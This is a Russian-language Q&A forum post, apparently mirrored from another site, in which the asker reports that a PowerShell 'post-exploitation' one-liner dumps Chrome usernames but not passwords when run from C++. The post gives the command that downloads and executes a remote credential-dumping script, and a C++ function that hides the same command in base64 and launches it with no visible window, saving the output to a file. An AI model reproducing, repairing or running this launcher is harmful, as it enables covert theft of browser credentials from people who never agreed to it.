Сценарий пост-эксплуатации Powershell не работает должным образом - PullRequest
0 голосов
/ 07 мая 2020

Я тестирую и использую эту команду для сброса моих собственных Chrome учетных данных.

powershell.exe "iex (iwr https://raw.githubusercontent.com/kerrymilan/Get-ChromeCreds2/master/Get-ChromeCreds2.ps1);" > out.txt

Это работает, но если это выполняется в C ++ Windows функции CreateProcess, результат будет таким

Url                Username
----               ---------
www.example.com     tes...

И никаких паролей. Почему это происходит?

Вот функция C ++

std::string test()
{
    STARTUPINFO sinfo;
    std::string script = b64decode("cG93ZXJzaGVsbC5leGUgImlleCAoaXdyIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9rZXJyeW1pbGFuL0dldC1DaHJvbWVDcmVkczIvbWFzdGVyL0dldC1DaHJvbWVDcmVkczIucHMxKTsiID4gb3V0LnR4dAo=");
    PROCESS_INFORMATION pinfo;
    memset(&sinfo, 0, sizeof(sinfo));
    if(CreateProcess(NULL, (LPSTR)script.c_str(), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo)){
        WaitForSingleObject(pinfo.hProcess, INFINITE);
        CloseHandle(pinfo.hProcess);
        CloseHandle(pinfo.hThread);
    }

    return readFileContents("out.txt");
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...